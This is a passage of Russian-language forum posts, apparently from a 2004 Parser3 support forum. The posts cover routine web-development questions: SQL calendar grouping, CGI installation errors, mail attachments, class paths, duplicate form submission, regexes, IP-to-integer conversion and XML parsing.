		^rem{ *** просто в одной таблице хранятся новости для разных нужд *** }\
		news_type_id = '^news_type_id.int(1)'\
	GROUP BY\
		dt_year DESC,\
		dt_month DESC,\
		is_published ASC\
]]\
^if(!^MAIN:check_right(1)(4|8)){\
	^rem{ *** Если пользователь не имеет право на изменение/удаление новостей *** }\
	$calendar_hash[^calendar.hash[dt_year][$.distinct[tables]]]\
}{\
	$calendar_hash[^hash::create[]]\
	^calendar.menu{\
		^if(!$calendar_hash.[$calendar.dt_year]){\
			$calendar_hash.[$calendar.dt_year][^table::create[$calendar;$.limit(0)]]\
		}\
		^if(!^calendar_hash.[$calendar.dt_year].locate[dt_month;$calendar.dt_month]){\
			^calendar_hash.[$calendar.dt_year].append{$calendar.dt_year	$calendar.dt_month	$calendar.all_is_published}\
		}\
	}\
}\
[/code]\
\
Можно ли как-нибудь модифицировать запрос, чтобы обойтись без такого \"страшного\" перебора таблицы?"
"27786","т.к. результат не сильно отличается от того, что получится в результате работы $calendar_hash[^calendar.hash[dt_year][$.distinct[tables]]]\
\
ну не будет там дублирующихся записей, ну и что?\
\
наверное все-таки имеет смысл объяснить как вы выводите календарь. лично я не делал бы хеш таблиц, а делал-бы хеш, у которых ключи имеют например вид: '2004=03' и содержимое не таблица (хотя похигу, я проверял-бы на наличие елемента с таким ключем)\
\
P.S. GROUP BY ... DESC???? точно тут не ORDER BY?"
"27787","Смысл в том, чтобы получить календарик, в котором, у администраторов будет помечаться за какой год/месяц новости не опубликованны, т.е. они созданны но is_published = 0! Вот мне и надо это провернуть...\
\
$calendar получается таким:\
all_is_published = 1, когда все новости опубликованны и 0, когда есть неопубликованные\
[code]\
dt_year	dt_month	all_is_published\
2004	03	1\
2004	02	1\
2004	01	0\
2004	01	1\
2003	12	1\
2003	11	1\
2003	10	1\
2003	09	1\
2003	08	1\
2003	07	1\
2002	12	1\
[/code]\
Затем я вывожу календарь...\
[code]\
	<calendar>\
	^calendar_hash.foreach[dt_year;table]{\
		<year value=\"$dt_year\" ^if(^table.locate($table.all_is_published == 0)){is_not_published=\"yes\"}>\
		^table.menu{\
			<month\
				value=\"$table.dt_month\"\
				^if(!$table.all_is_published){is_not_published=\"yes\"}\
			>$MAIN:month_names.[$table.dt_month]</month>\
		}\
		</year>\
	}\
	</calendar>\
[/code]\
Как нужно модифицировать запрос, чтобы запись 2004 > 01 была только с 0, а с 1 не понадобиться..."
"27788","это условие:\
^if(!^calendar_hash.[$calendar.dt_year].locate[dt_month;$calendar.dt_month]){...}\
\
не позволит добавить вторую запись '2004 01 1'.\
\
и почему не написать просто $calendar_hash[^calendar.hash[dt_year][$.distinct[tables]]] после запроса? по моему получите то, что вам требуется.\
\
P.S. я бы делал немного не так. я бы создал две структуры на основании результатов запроса. одну (хеш таблиц) использовал бы для foreach/menu по ней и вывода годов/месяцев. вторую (просто хеш, где ключи вида 2004=01=0 использовал бы для хеш лукапов и проверок показываем админу или нет. при этом не делал-бы ветвлений в зависимости от того, что за юзер (только в запросе)."
"27790","Hi!\
\
Подскажите плиз, не могу правильно установить Парсер. По-видимому что-то делаю не так, но не могу понять - что именно.\
\
parser3.cgi я разместил в директории cgi-bin/parser3, выставил ему атрибуты на исполнение - 755. В этой же директории разместил файл auto.p с такой записью. \
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
   $.value[text/html]\
   $.charset[$response:charset]\
]\
\
В корневой директории сервера - htdocs в файле .HTACCESS прописал:\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3\
<Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
</Files>\
SetEnv CGI_PARSER_CONFIG /cgi-bin/parser3/auto.p\
\
В итоге - парсер не работает (запускаю парсер - выползает 500; запускаю тестовый файл - не установлен)\
Сервер файл .HTACCESS - обрабатывает.\
\
Что я упустил - ?"
"27791","Для того чтобы парсер начал работать надо скачать 2 или 3 файла.\
2(если у вас нет БД).\
Первый это сам CGI скрипт.\
Второй Конфигурационный файл и файлы описания кодировок\
Третий а возможно и четвёртый это SQL драйвер для нужной вам БД\
\
ещё auto.p скачивается с сервера (пункт второй)\
\
Строчку\
SetEnv CGI_PARSER_CONFIG /cgi-bin/parser3/auto.p\
можете убрать т.к. этот путь установлен по умолчанию"
"27792","Отправляю текст в формате html с вставкой изображения. Изображение не приходит."
"27793","дык не левую, а как раз из галереи сделанной на PARSER :)"
"27794","Перепробовав все доступные parser3.cgi для всех ОС :), мы решили скомпилировать parser на  нашем хосте:\
$ pwd     \
/home/6/host5906\
\
1. Скачали gc6.1.tar.gz (http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.1.tar.gz)\
распаковали его в gc6.1\
2. Скачали исходные коды parser3.1.1: \
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_1_1 parser3\
$ls    \
    gc6.1.tar.gz    parser3                                       \
     gc6.1           p3              public_html\
\
3. Установили libgc:\
$ cd gc6.1          \
$ ./configure --prefix=/home/6/host5906/gc --disable-threads --silent\
...\
$ make install   \
...\
Libraries have been installed in:                                 \
   /home/6/host5906/gc/lib  \
\
4. Далее при попытке установить parser:\
$ ./configure --prefix=/home/6/host5906 --with-shared-gc=/home/6/host5906/gc/lib\
...             \
$ make\
получаем следующее:\
C:566: virtual memory exhausted\
*** Error code 1\
Stop in /home/6/host5906/parser3/src/main.\
*** Error code 1\
Stop in /home/6/host5906/parser3/src.\
*** Error code 1\
Stop in /home/6/host5906/parser3.\
\
Пробовали различные опции установки, но ничего сделать не удалось. \
Помогите, пожалуйста, выяснить с чем это связано.\
            С уважением, ryhel."
"27795","Программа сперва копирует файл с фоткой на сервер, потом отправляет письмо с этой фоткой и далее удаляет фотку с сервера. \
\
$filenamephoto1[$form:photo1]\
^if(def $form:photo1){\
	^form:photo1.save[binary;../temp/$filenamephoto1.name]\
}\
\
^if(def $form:photo1){\
^mail:send[\
$.from[Анкета online <vermond@msx.ru>]\
$.to[Петропавлов В.П. <pvp_car@baklanov.net>]\
$.to[Тех. сопровождение <vermond@msx.ru>]\
$.subject[Анкета online ($form:fio) - вложенная фотка 1]\
$.file[^file::load[binary;../temp/$filenamephoto1.name]]\
]\
}\
\
^file:delete[../temp/$filenamefoto1.name]\
\
Но выходит ошибка:\
'usr/sbin/sendmail' reported problem: UNKNOWN (1) \
send\
/home2/agencyveronicac/www/eng/_prol.htm(252) \
exception.type=email.send \
\
Эта безумно старая проблемка, давно ищу ответ. Никто не подскажет в каком месте ошибка?"
"27796","=========\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
=========\
Строчка: \
Action parser3-handler /cgi-bin/parser3\
\
на:\
Action parser3-handler /cgi-bin/parser3/parser3.cgi"
"27797","@USE\
/classes/click.p\
/classes/account.p\
\
@page[]\
^if(!^form:aid.int[] || !^form:bid.int[]){\
	$response:location[http://gbe.net.ru]\
}{\
	$cl[^click:click[$.aid(^form:aid.int[]),$bid(^form:bid.int[])]]\
	$aobj[^account::load[^form:aid.int[]]]\
	$account[^aobj.return[]]\
	$fp[${account.url}${account.path}]\
	$response:location[$fp]\
}\
\
переменная $fp получает строковое значение - url страницы вида http://somewhere.com\
Но в отличие от сдьмой строки, где перенаправление происходит успешно, $response:location[$fp] пытается доставить путь к уже существующему и отправить на  /banner/click/http://www.mysterria.com/requiem/ \
\
Где грабли?"
"27799","Помогите советом - не могу установить Parser 3.1 как модуль к Apache. Пробовал на версиях 1.3.26,28 - ничего, пишет:\
Cannot load x:/path/to/parser/ApacheModuleParser3.dll into server: (126) The specified module could not be found:\
Хотя путь правильный и я правильно выполнил все инструкции из мануала - проверил по 100 раз.\
Посоветуйте что-нибудь?"
"27800","Уже не нужна. :)\
Как всегда все произошло из-за глупости - не могло найти длл-ки"
"27801","У меня данные в MySQL хранятся в разных базах.\
В классе MAIN у меня определен хэш [b]DB[/b] с короткими ключами-алиасами для фактических названий баз.\
В запросах пишу типа:\
[code]\
SELECT bla\
FROM   ${MAIN:DB.db_alias}.table_name\
...\
[/code]\
\
В классе авторизации у таблиц нет префикса-имени БД, соответственно дилемма:\
- то ли править файл auth.p, добавляя префиксы (что не очень хочется делать по понятным причинам);\
- то ли делать дочерний класс, как Миша предлагает, но тогда, по сути, мне придется все переписывать целиком, что тоже не есть гуд.\
\
Есть ощущение, что должно быть более элегантное решение. Типа [b]RewriteBase[/b].\
\
Any clues?\
\
-------\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"27803","Как говорил тов. Пушкин А.С., \"мы ленивы и нелюбопытны\".\
\
Откройте Outlook, создайте HTML-сообщение с картинкой, и отправьте его самому себе. \
\
Сохраните в текстовом виде - со всеми заголовками и прочим. Откройте исходник в текстовом редакторе и внимательно изучите, как такое письмо бывает устроено."
"27805","кусок документации\
\
^mail:send[ \
    $.from[Вася <vasya@hotmail.ru>] \
    $.to[Петя <petya@hotmail.ru>] \
    $.subject[как дела] \
    $.text[Как у тебя дела? У меня изумительно!] \
    $.html{Как у тебя дела? У меня <b>изумительно</b>!} \
    $.file[^file::load[binary;perfect_life1.jpg]] \
    $.file2[ \
        $.value[^file::load[binary;perfect_life2.jpg]] \
        $.name[изумительная_жизнь2.jpg] \
    ] \
] \
\
а в этом самом html с картинкой просто укажите <img src=\"изумительная_жизнь2.jpg\">"
"27806","клиенты просят сделать подобный ресурс, но я не знаю базовых понятий, т.к. очень не люблю телефоны, особенно сотовые.\
\
1) какова моксимальная ширина подобного сайта? (я как понял лучше использовать динамические размеры %-ы.)\
2) какого минимального размера должны быть шрифты, чтобы они нормально читались? (опять же, догадка: думаю что использовать различные гарнитуры не удастся, т.к. в телефоне их просто нет)\
3) есть ли смысл вставлять картинки, если есть то какого размера?\
4) есть ли поддержка форм в телефонах? (и каких)\
\
А если еще дадите ссылку где можно все подробно почитать, или на книгу укажите, буду весьма признателен."
"27807","1. Ширины нет как класса (практически plain-text)\
2. Шрифты системные (вшитые в телефон) и не меняются.\
3. Всталять картинки смысла нет. Только если логотип сайта - один фиг половина телефонов монохромны или имеют 4 градации серого. Ширина - пикселей 80, и вообще редкий телефон имеет ширину экрана больше 150 пикселей.\
4. Фактически, только она и есть.\
\
Практичски все, что нужно и можно пользовать описано на ZVON'е: http://www.zvon.org/xxl/WMLTutorial/General/book.html"
"27809","На одной странице вдруг стала проявляться 500-я ошибка. Полез в лог и увидел следующее (маленький кусок из кучи одинаковых)\
\
[Mon Mar 22 12:36:04 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:39:49 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:39:50 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:42:02 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:45:09 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:48:02 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:51:37 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:54:08 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 12:57:01 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:00:16 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:03:09 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:05:59 2004] [error] [client 217.118.84.17] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:06:47 2004] [error] [client 217.118.84.17] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:06:52 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:06:53 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
[Mon Mar 22 13:09:01 2004] [error] [client 217.16.16.205] Premature end of script headers: /home/u11596/bougakov.com/cgi-bin/parser3/parser3.cgi\
CORD_cat_char_star(,y,) y==\"\"\
\
Parser/3.1.1 с XML в виде CGI, FreeBSD, хостинг - мастерхост."
"27810","когда количество голосов достигнет некоего предела вы и займётесь реализации фичи, которую эти голоса требуют."
"27811","и не пишите [], уже обсудили вроде?"
"27813","если правильно понял, вы получаете это при компиляции файла compile.tab.C или execute.C\
\
такое безобразие на какой-то старой версии gcc. \
не помню, когда они это исправили, вижу, что в 2.95 точно исправлено."
"27814","это самоцель?"
"27815","сработал assert, который не должен срабатывать никогда."
"27816","Сейчас думаю над тем, как предотвратить повторную посылку данных из формы. \
Кто чего может посоветовать. Есть идея создавать сеансовый айди на заполнение этой формы, хранить его в таблице и, если человек  захочет запостить содержимое еще раз (F5 || ctrl+r || просто два раза нажмет на кнопку \"сабмит\") ему скажут \"Не утруждайте себя, уважемый. Мы уже  знаем все, что Вы хотите нам сказать.\" Только этот самый айди надо будет хранить довольно долго. Час или, даже, День. Для того, чтобы юзер не мог сделать это позже.\
..или я не прав..."
"27817","Проблема возникает с моей многострадальной собиралкой RSS-потоков. Я в ней ничего не менял уже месяц - просто сейчас добавил очередной RSS, нажал refresh вручную (так его делает cron), увидел Error 500 и полез в лог разбираться.\
\
Masterhost хранит error.log один день, не могу проверить - ошибка уже тут долго или появилась с добавлением ещё одного RSS. Удаление, впрочем, не помогло.\
\
Если удастся выделить в чистом виде - пришлю, конечно же."
"27818","Паралельно с сайтом работают еще бухгалтер и менеджеры. Все, что они меняют - выведено в отдельную базу, чтобы при апдейте случайно не затереть важные таблицы.\
А я работаю с остальными данными, которые разложены еще в несколько баз - отдельно товарные таблицы (описания), отдельно системные folders/users и т.д.\
\
Иногда я прихожу к тому, что данные разложены неэффективно: приходится перелопачивать базу, менять структуру таблиц, индексы и т.п.\
\
Потом я просто делаю экспорт из MySQLFront в файл, заливаю его на сервер, говорю из шелла\
[code]mysql ... dbname < dbname.sql[/code]\
и все. Так удобно и быстро.\
\
Если вдруг то, что я делаю, is deprecated, с удовольствием послушаю критику."
"27819","для поимки этого мне нужно только воспроизводимый bug.html, произвольного размера.\
\
важно: чтобы его входные данные были рядом с ним, а не во внешних изменяющихся источниках.\
\
подобного рода проблема может возникнуть при хитром стечении обстоятельств, не пытайтесь уменьшить количество файлов, мне достаточно только, чтобы могло упасть у меня в отладчике."
"27820","что до удобства экспорта/импорта[чтобы вынимать подмножество всех таблиц базы], так это скрипты командной строки стоит написать. их можно одним click запускать [или по расписанию]."
"27821","Что-то у нас раздел \"Жаргон\" оказался в полном загоне. Между тем, ряд терминов parser'а, IMHO, можно было бы туда поместить. \
И первый кандидат - \"лукапить хеш\" (Misha пару раз уже давал его толкование в форуме).\
\
Как писал АС Пушкин: \"Не мог, блин, кеша он от хеша, как мы ни бились, отличить.\" :-)"
"27822","Каждой анкете присваивать id (уникальный) и записывать ip, при заполнении анкеты чекать для выверки несколько полей\
если совпадает, посылать юрера куда подальше, если нет, записывать (ессно поле с ip не уникальное)\
Не знаю, умеет ли это парсер, но с помощью Cron Jobs удалять раз (время самому выбрать) из таблицы записи с id и ip. Инфа записана, все довольны, таблица с id и ip опустевает раз (скажем в неделю).\
\
На истину ессно не претендует, штормим-с господа (brain storming)"
"27823","как только показывам пользователю форму - сразу добавляем в неё в hidden ^math:uuid[]\
\
делаем в таблице БД столбец uuid с unique индексом, куда пишутся значения из $form:uuid.\
\
соответственно:\
[code]\
^try{\
  ^void:sql{INSERT INTO tbl (uuid, ...) VALUES ('$form:uuid', ...) }\
}{\
  $exception.handled(1)\
  <p>Мы уже знаем все, что Вы хотите нам сказать.</p>\
}\
[/code]\
"
"27824","брал из примеров:\
[code]\
$text[^text.match[\\[([biu])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
[/code]\
на псевдо-тег [b] - ноль реакции, как только поставил \"или\":\
[code]\
$text[^text.match[\\[([b][b|i|u][/b])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
[/code]\
все стало работать, как надо, так и должно быть?\
\
ЗЫ: Parser/3.1.1"
"27827","вот как раз:\
[code]\
$text[^text.match[\\[([b][color=\"red\"][[/color][/b]biu[b][color=\"red\"]][/color][/b])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
[/code]\
эти скобки-то у меня и отсутствовали, но теперь встала другая проблемка:\
как вложенные псевдо-теги отловить?"
"27828","Да я, в принципе, согласен. И по началу старался так и делать, но пока у меня кишка тонка сразу более-менее правильно спроектировать БД. А держать в одной базе живые рабочие данные (которые к тому же в течение дня раза 2-3 меняются) и рядом с ними топором размахивать - страшненько как-то. Вот я их и переложил от греха подальше - таки был уже случай неприятный... :(\
\
Резюмируя, вижу, что: метода с раздельными базами скорее из разряда «на вкус и цвет», однако выбора у меня особого уже нет. Так что буду править Мишин класс - тем более, что правка чисто техническая... а Миша м.б. в следующих версиях добавит в класс еще один параметр. А может и не добавит... ;)\
\
Спасибо за ответы/советы.\
\
-------\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"27829","на самом деле на заре моего изучения парсера я делал что-то подобное в своих классах (в том классе форума, который сейчас работает на parser2.parser.ru есть такая вещь как префикс для таблиц)\
\
но ни разу мне не потребовалось эта вещь, а поддержание работоспособности любой фичи требует рессурсов (и разработчика и языка программирования, который пытается понять, что написал разработчик).\
\
поэтому я выкинул префикс, и пока у меня не возникало желания его внедрять.\
\
такой вопрос: а вы не можете работать с другой БД в другом коннекте, который и будет происходить к вашей второй(третьей) БД."
"27830","кто-нибудь знает, как выполняются эти преобразования (формулу)?\
Имеется список ip-to-country такого вида\
\
\"33996344\",\"33996351\",\"GB\",\"GBR\",\"UNITED KINGDOM\"\
\
последние три столбца понятны :), а вот как из первых двух сделать \"общечеловеческие айпя\" не понятно :("
"27831","По вашему, как предложили вы, или...\
[code]\
$calendar[^MAIN:pSQL.sql[table][\
	SELECT\
		^MAIN:pSQL.date_format[dt_published;%Y] as dt_year,\
		^MAIN:pSQL.date_format[dt_published;%m] as dt_month,\
		MIN(is_published) as all_is_published\
	FROM\
		news\
	WHERE\
		^if(!^MAIN:check_right($OBJECT_ID)(4|8)){is_published = '1' AND}\
		news_type_id = '^news_type_id.int(1)'\
	GROUP BY\
		dt_year DESC,\
		dt_month DESC\
]]\
$calendar_hash[^calendar.hash[dt_year][$.distinct[tables]]]\
[/code]"
"27832","по моему правильнее сделать так и так и сравнить скорость выполнения :)"
"27833","По скорости так будет быстрее всего?"
"27834","Вот элегантный вариант, о котором я говорил, и нашелся. Даже более элегантный, чем мне хотелось. ;)\
Спасибо за светлую идею в темное время суток.\
\
-------\
С уважением,\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"27836","функция INET_ATON('$env:REMOTE_ADDR') преобразует IP в int формат. INET_NTOA(int_ip) - соответственно обратно. Что Вам и надо."
"27837","Я знал об этом, как и о существовании соотв функции в РНР :)\
Мне интересна формула по которой происходит это преобразование"
"27838","Convert Base 10 to IP - IP addresses can be converted to a \"base 10\" number.  Spammers often use this in URL's.  Example:  http://123456789/.  If you wish to trace a URL like this just input the number \"123456789\" and check the \"Base 10\" button.   It will convert the number to a standard IP addresses.  If the URL contains \"@\" ignore everything to the left.  http://junk@123456789/ is the same as http://123456789/\
\
A standard IP is \"base 256.\"   To convert  66.46.55.116 to base 10 the formula is: \
\
66 x (256)^3 + 46 x (256)^2 + 55 x (256)^1 + 116 = 1110325108\
\
http://66.46.55.116  | http://Network-Tools.com | http://1110325108 are identical.\
\
[url=\"http://www.network-tools.com/help/#Base10\"]оригинал и куча инструментов[/url]"
"27840","есть страница\
http://www.artlebedev.ru/portfolio/\
\
Каким образом сортируються, подсчитываются работы сделанные в студии.\
На уровне объектов у которых могут быть разные уровни вложенности???\
\
Как это все считается??? (По масштабу, По индустриям, Веб-дизайн)"
"27842","Добрый день!\
Есть такая структура XML файла:\
[code]\
<?xml version='1.0' encoding='windows-1251' ?>\
<main>\
  <fields>\
    <section_name size='30' type='string'/>\
    <section_menu size='10' type='string'/>\
    <section_folder size='50' type='string'/>\
    <section_conf size='30' type='string'/>\
    <pcode size='0' type='integer'/>\
    <vcode size='0' type='integer'/>\
  </fields>\
  <rows>\
    <row>\
    <section_name>ООО \"Рога и Копыта\"</section_name>\
    <section_menu>ООО РиК</section_menu>\
    <section_folder></section_folder>\
    <section_conf></section_conf>\
    <pcode>0</pcode>\
    <vcode>1</vcode>\
    </row>\
    <row>\
    <section_name>Сетевые службы</section_name>\
    <section_menu>Сетевые службы</section_menu>\
    <section_folder></section_folder>\
    <section_conf></section_conf>\
    <pcode>0</pcode>\
    <vcode>2</vcode>\
    </row>\
    <row>\
    <section_name>Документы</section_name>\
    <section_menu>Документы</section_menu>\
    <section_folder></section_folder>\
    <section_conf></section_conf>\
    <pcode>0</pcode>\
    <vcode>3</vcode>\
    </row>\
    <row>\
    <section_name>Цель</section_name>\
    <section_menu>Цель предприятия</section_menu>\
    <section_folder>about/aim.html</section_folder>\
    <section_conf></section_conf>\
    <pcode>1</pcode>\
    <vcode>4</vcode>\
    </row>\
    <row>\
    <section_name>История</section_name>\
    <section_menu>История предприятия</section_menu>\
    <section_folder>about/history.html</section_folder>\
    <section_conf></section_conf>\
    <pcode>1</pcode>\
    <vcode>5</vcode>\
    </row>\
    <row>\
    <section_name>СДС</section_name>\
    <section_menu>Служба доставки сообщений</section_menu>\
    <section_folder>mds/index.html</section_folder>\
    <section_conf>mds/mds.xml</section_conf>\
    <pcode>2</pcode>\
    <vcode>6</vcode>\
    </row>\
    <row>\
    <section_name>ТвоеПраво</section_name>\
    <section_menu>юридическая система ТвоеПраво</section_menu>\
    <section_folder>right/index.html</section_folder>\
    <section_conf>right/right.xml</section_conf>\
    <pcode>2</pcode>\
    <vcode>7</vcode>\
    </row>\
    <row>\
    <section_name>Ежедневник</section_name>\
    <section_menu>Ваш личный ежедневник</section_menu>\
    <section_folder>dairy/index.html</section_folder>\
    <section_conf>dairy/dairy.xml</section_conf>\
    <pcode>2</pcode>\
    <vcode>8</vcode>\
    </row>\
    <row>\
    <section_name>Новостная лента</section_name>\
    <section_menu>Новости в стране и в мире</section_menu>\
    <section_folder>news/news.html</section_folder>\
    <section_conf>news/news.xml</section_conf>\
    <pcode>2</pcode>\
    <vcode>9</vcode>\
    </row>\
    <row>\
    <section_name>Каталог оборудования</section_name>\
    <section_menu>Каталог оборудования</section_menu>\
    <section_folder>katalog/katalog.html</section_folder>\
    <section_conf>katalog/katalog.xml</section_conf>\
    <pcode>2</pcode>\
    <vcode>10</vcode>\
    </row>\
    <row>\
    <section_name>Бланки</section_name>\
    <section_menu>Фирменные бланки ООО \"РиК\"</section_menu>\
    <section_folder>files/blank.html</section_folder>\
    <section_conf>files/files.xml</section_conf>\
    <pcode>3</pcode>\
    <vcode>11</vcode>\
    </row>\
    <row>\
    <section_name>Общие документы</section_name>\
    <section_menu>Общие документы</section_menu>\
    <section_folder>files/common.html</section_folder>\
    <section_conf>files/files.xml</section_conf>\
    <pcode>3</pcode>\
    <vcode>12</vcode>\
    </row>\
  </rows>\
</main>\
[/code]\
\
Этот файл - структура меню внутреннего сайта.\
Возможно-ли из этого файла сделать таблицу (для последующей обработки средствами Парсера). \
Желательно со структурой, описанной по пути main/fields.\
\
Изчитал весь мануал - пока что-то ничего не понял, что касается Xpath и прочих классов для работы с XML.\
Конкретно, интересует, как обратиться к разделам группы main/fields - у них разное название тэгов, и как сделать прбежку по всему файлу.\
\
Раскажите, пож-та, как все это можно сделать?"
"27843","напишите какой-то код, приходите потом снова, если будут проблемы."
"27844","Дело в том, что я не знаю писать.\
\"Пример про выкачку данных из ЦБР и опубликование курса конкретной валюты\" - там все понятно - ищем нужный код, потом вытаскиваем значения из текущей ноды.\
А как обратиться к разделу, в котором описываются поля? Там ведь названия тэгов \"как-бы\" неизвестны. Видимо в сторону childNodes надол глядеть? А как это написать-то? В мануале - ссылка на W3C. Там как-то не совсем все ясно..."
"27845","самую тоненькую не купили?\
\
купите?"
"27846","ну, ладно, скажите! (хотя-бы намекните!...)"
"27850","В основном auto.p (который рядом с Parser3):\
\
@conf[filespec]\
...\
$CLASS_PATH[../data/classes/]\
\
Классы лежат вне web-пространства в '../data/classes/', т.е. 'data' - на одном уровне с 'www'.\
\
В auto.p в '/www/' :\
\
@USE\
lib.p\
mysql.p\
auth.p\
\
В '/www/' лежат разные файлы, в т.ч. класс авторизации (Misha v.3 - спасибо огромное).\
\
Так вот - всё подключается и работает. Проблема возникает при вызове страницы из каталога 'www/cat/...', в котором лежит один чисто html'ный файл.\
\
Тип ошибки - 'lib.p' not found along MAIN:CLASS_PATH.\
\
Подскажите, pls - что не так???"
"27851","$CLASS_PATH[^table::create{path \
../data/classes/ \
../../data/classes/ \
}]"
"27853","...пришлось лишь стереть лишние пробелы в конце строчек - и всё заработало."
"27854","если появится подкаталог третьего уровня :)"
"27855","Извиняюсь я просто думал, что вы про locate в методе создания $calendar_hash ;(\
\
Ок, щас попробую так и так и сравню скорость выполнения"
"27857","[quote]вторую (просто хеш, где ключи вида 2004=01=0[/quote]\
Если я вас правильно понял, то у вас хеш: год=месяц=нет_неопубликованных\
\
А как бы вы проверили есть ли неопубликованные новости за год, а не за месяц?"
"27858","я не вникал досконально во все детали вашей задачи. значит нужно делать другие хеши (можно не один). а может и не нужно. если получается 10 locate то можно забить. если их получается сотни, то забивать не стОит."
"27859","что получилось \
может кому понадобится...\
##########################\
#Преобразование IP адресов\
#\
@ip2long[ip][ip]\
$result[^ip.match[(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)][g]{^eval($match.1 * ^math:pow(256;3) + $match.2 * ^math:pow(256;2) + $match.3 * ^math:pow(256;1) + $match.4)[%.0f]}]\
#####"
"27862","Товарищи, нужна ваша помощь.\
Необходимо сделать систему парсинга html шаблонов.\
Кто работал с phpbb знают о чём я. \
\
Так вот, шаблоны лежат в отдельной папке.\
Скрипт грузит шаблонные файлы по очереди и парсит их в поисках меток.\
Метки имеют следующий вид: \
<!-- BEGIN имя_метки -->\
Код\
<!-- END имя_метки -->\
В целях минимизирования проходов, я думаю лучще проходить один раз по всему содержимому файла и запихивать куски кода с одноимёнными метками в хэш.\
А потом уже выснять какую конкретно метку засосало.\
\
Итого на выходе необходимо получить кэш вида:\
$template[\
	$.имя_файла[\
	$.имя_метки[код_метки]\
]\
]\
\
Вопросы:\
1.	Как задать в рег.выражении пАрность меток.\
Т.е. чтобы код выдирал: \
<!-- BEGIN метка1 -->\
Код\
<!-- END метка1 -->,\
а не:\
<!-- BEGIN метка1 -->\
Код\
<!-- END метка2 -->\
?\
И вообще подскажите вид приличного регескспа для этой цели, пожалуйста.\
2.	Как с наименьшими накладными расходами выяснить какая метка загрузилась?\
3.	Может есть отточеный механизм для подобных задач?\
\
Благодарю."
"27863","подобный подход в применении к парсеру, по моему дикость...\
\
что мешает написать ^метка1[] вместо:\
<!-- BEGIN метка1 -->\
Код\
<!-- END метка1 -->\
\
я не пойму наверное никогда :)"
"27864","Ничего не мешает :)\
Именно так сейчас и написано.\
\
Но хочется совсем разделить оформление и данные.\
Чтобы два разных человека спокойно правили какждый своё и не вникали в чуждые области.\
\
Да даже если человек один, править шаблон не задумываясь о методах, а работать только с html.\
\
Кстати, не нашёл я в примерах ничего подобного.\
Копилка регвыров?\
Ткните носом, если не затруднит."
"27865","Не могу разобраться как получить множество значений поля формы, если это поле имеет тип file.\
Когда форма отдает строку, все понятно, а вот для файла это вообще возможно?\
Заранее благодарен за ответы."
"27866","чтобы разделить оформление и данные используйте xml/xsl. это гораздо лучше чем то, что вы изобретете."
"27867","Господа. 500 internal server error. Вот что в логе:\
[Tue Mar 23 21:19:59 2004] [error] (13)Permission denied: exec of /home/clients/yahook_ftp2/domains/yahook.biz/html/cgi-bin/parser3.cgi failed\
[Tue Mar 23 21:19:59 2004] [error] [client 213.184.227.11] Premature end of script headers: /home/clients/yahook_ftp2/domains/yahook.biz/html/cgi-bin/parser3.cgi\
